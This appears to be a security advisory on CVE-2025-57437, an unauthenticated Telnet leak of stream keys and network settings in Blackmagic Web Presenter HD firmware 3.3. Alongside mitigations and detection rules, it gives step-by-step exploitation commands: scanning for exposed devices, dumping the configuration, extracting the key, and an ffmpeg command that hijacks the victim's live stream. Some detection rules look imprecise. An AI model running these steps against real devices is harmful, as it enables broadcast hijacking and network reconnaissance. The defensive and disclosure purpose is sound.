CVE-2025-57437

Executive Summary

CVE-2025-57437 exposes a critical information disclosure vulnerability in the Blackmagic Web Presenter HD firmware version 3.3. An unauthenticated Telnet service running on TCP port 9977 leaks extensive device configuration data, including streaming keys, network settings, and unique identifiers. This allows an attacker to hijack live streams, perform network reconnaissance, and potentially pivot to internal networks. The vulnerability is trivial to exploit with a simple Telnet client, and no authentication is required. The vendor has not released a patch as of this report.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – unauthenticated access.
• User Interaction (UI): None – no user action needed.
• Scope (S): Unchanged – impact confined to the device.
• Confidentiality (C): High – full device configuration and stream keys exposed.
• Integrity (I): None – no direct modification capability.
• Availability (A): None – no denial of service.

Threat Level: High. The exposed stream keys enable immediate stream hijacking, and network data aids lateral movement.

Deep Dive & Mechanics

The Blackmagic Web Presenter HD is a hardware device used for live streaming. Firmware version 3.3 runs a Telnet server on port 9977 that does not require authentication. Upon connection, the server dumps a plaintext configuration dump containing:

• Device Identity: Model name, firmware version, serial number, MAC address.
• Network Configuration: IP address, subnet mask, gateway, DNS servers.
• Streaming Details: Platform (e.g., YouTube, Twitch), stream key, streaming URL (RTMP endpoint).
• Audio/Video Settings: Input source, resolution, bitrate, audio codec.

The vulnerability stems from the Telnet service being enabled by default and bound to all interfaces without access controls. The configuration dump is sent immediately upon TCP connection, before any login prompt. This is a classic case of CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.

Attack Scenario:

1. An attacker scans the internet for devices with port 9977 open.
2. Using telnet <target> 9977, they receive the full configuration dump.
3. The attacker extracts the stream key and RTMP URL.
4. Using a tool like OBS or FFmpeg, they push malicious content to the stream, hijacking the broadcast.
5. Network details (IP, DNS) can be used for further reconnaissance or lateral movement within the organization.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 3.3): The Telnet service is implemented in a proprietary binary. The relevant pseudo-code shows no authentication check before dumping configuration:

void telnet_handler(int client_sock) {
    // No authentication
    send_config_dump(client_sock);  // Sends all config data
    // ... rest of telnet session
}

Patched Code (Hypothetical): A patched version would require authentication or disable the Telnet service by default:

void telnet_handler(int client_sock) {
    if (!authenticate(client_sock)) {
        send_error(client_sock, "Authentication required");
        close(client_sock);
        return;
    }
    send_config_dump(client_sock);
}

Since no official patch exists, the only mitigation is to disable the Telnet service via device settings or firewall rules.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target device with port 9977 open.
• Telnet client (e.g., telnet, netcat).

Exploitation Steps:

1. Scan for vulnerable devices:

   nmap -p 9977 --open -sV <target_range>
   

2. Connect to the Telnet service:

   telnet <target_ip> 9977
   

3. Capture the configuration dump: The output will appear immediately. Save it to a file:

   telnet <target_ip> 9977 | tee config_dump.txt
   

4. Extract stream key and URL:

   grep -E "Stream Key|Stream URL|RTMP" config_dump.txt
   

5. Hijack the stream (example using FFmpeg):

   ffmpeg -re -i malicious_video.mp4 -c copy -f flv "rtmp://<stream_url>/<stream_key>"
   

Lab Setup:

• Use a Blackmagic Web Presenter HD with firmware 3.3 in an isolated network.
• Alternatively, simulate the service using a Python script:

  import socket
  import sys
  
  def send_config_dump(client):
      config = """
      Model: Web Presenter HD
      Firmware: 3.3
      Serial: ABC123
      MAC: 00:11:22:33:44:55
      IP: 192.168.1.100
      DNS: 8.8.8.8
      Stream Platform: YouTube
      Stream Key: xxxx-xxxx-xxxx-xxxx
      Stream URL: rtmp://a.rtmp.youtube.com/live2
      """
      client.sendall(config.encode())
  
  def main():
      server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      server.bind(('0.0.0.0', 9977))
      server.listen(5)
      print("Listening on port 9977...")
      while True:
          client, addr = server.accept()
          print(f"Connection from {addr}")
          send_config_dump(client)
          client.close()
  
  if __name__ == "__main__":
      main()
  

Blue Team (Defense)

Detection:

• Monitor for connections to port 9977 from external IPs.
• Alert on any Telnet traffic to/from Blackmagic devices.
• Use the Sigma rule below to detect unauthorized access.

Mitigation:

• Disable Telnet service via device web interface or CLI.
• Restrict port 9977 to trusted IPs using firewall rules.
• Upgrade firmware if a patch becomes available.
• Rotate stream keys immediately if exposure is suspected.

Indicators of Compromise (IOCs)

• Network:
  • TCP connections to port 9977 on Blackmagic devices.
  • Telnet banner containing "Blackmagic Web Presenter HD".
• File:
  • Configuration dump files containing "Stream Key" or "RTMP".
• Behavioral:
  • Unusual RTMP streams from unknown IPs to legitimate streaming platforms.
  • Multiple failed login attempts on streaming platform accounts.

Example IOC (Suricata rule):

alert tcp any any -> any 9977 (msg:"Blackmagic Web Presenter HD Telnet Access"; flow:to_server; content:"Blackmagic"; classtype:attempted-recon; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule Blackmagic_Config_Dump {
    meta:
        description = "Detects Blackmagic Web Presenter HD configuration dump"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57437"
    strings:
        $s1 = "Model: Web Presenter HD" ascii wide
        $s2 = "Stream Key:" ascii wide
        $s3 = "Stream URL:" ascii wide
        $s4 = "Firmware: 3.3" ascii wide
    condition:
        all of ($s*)
}

Sigma Rule

title: Blackmagic Web Presenter HD Telnet Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated Telnet connections to Blackmagic Web Presenter HD on port 9977
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        DestinationPort: 9977
        Image: '*telnet.exe'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert tcp any any -> any 9977 (msg:"Blackmagic Web Presenter HD Telnet Access"; flow:to_server; content:"Blackmagic"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable Telnet service on the device via the web interface (Settings > Network > Telnet).
   • Block port 9977 at the firewall for all external IPs.
   • Rotate all stream keys and update streaming platform credentials.

2. Long-term Fix:

   • Monitor Blackmagic for a firmware patch (contact vendor support).
   • Implement network segmentation for broadcast devices.
   • Use VPN or SSH tunneling for remote management instead of Telnet.

3. Detection:

   • Deploy the YARA, Sigma, and Suricata rules above.
   • Enable logging for all Telnet connections and review regularly.

4. User Awareness:

   • Train operators to never expose Telnet to the internet.
   • Conduct regular vulnerability scans for open ports.

Valters IT
Securing Digital Frontiers